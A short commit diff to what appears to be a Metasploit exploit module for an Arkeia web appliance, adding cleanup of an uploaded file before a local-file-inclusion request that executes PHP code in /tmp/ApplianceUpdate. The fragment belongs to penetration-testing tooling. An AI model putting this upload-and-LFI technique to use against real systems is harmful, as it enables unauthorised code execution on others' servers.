changes to arkeia_upload_exec to comply with r7 suggestions #2

modules/exploits/unix/webapp/arkeia_upload_exec.rb

@@ -115,6 +115,8 @@ class Metasploit3 < Msf::Exploit::Remote
       return fail_with(Exploit::Failure::None, "File wasn't uploaded, aborting!")
     end
 
+    register_files_for_cleanup("/tmp/ApplianceUpdate")
+
     print_status("#{peer} - Sending LFI payload to execute PHP code in /tmp/ApplianceUpdate")
     res = send_request_cgi({
       'method' => 'GET',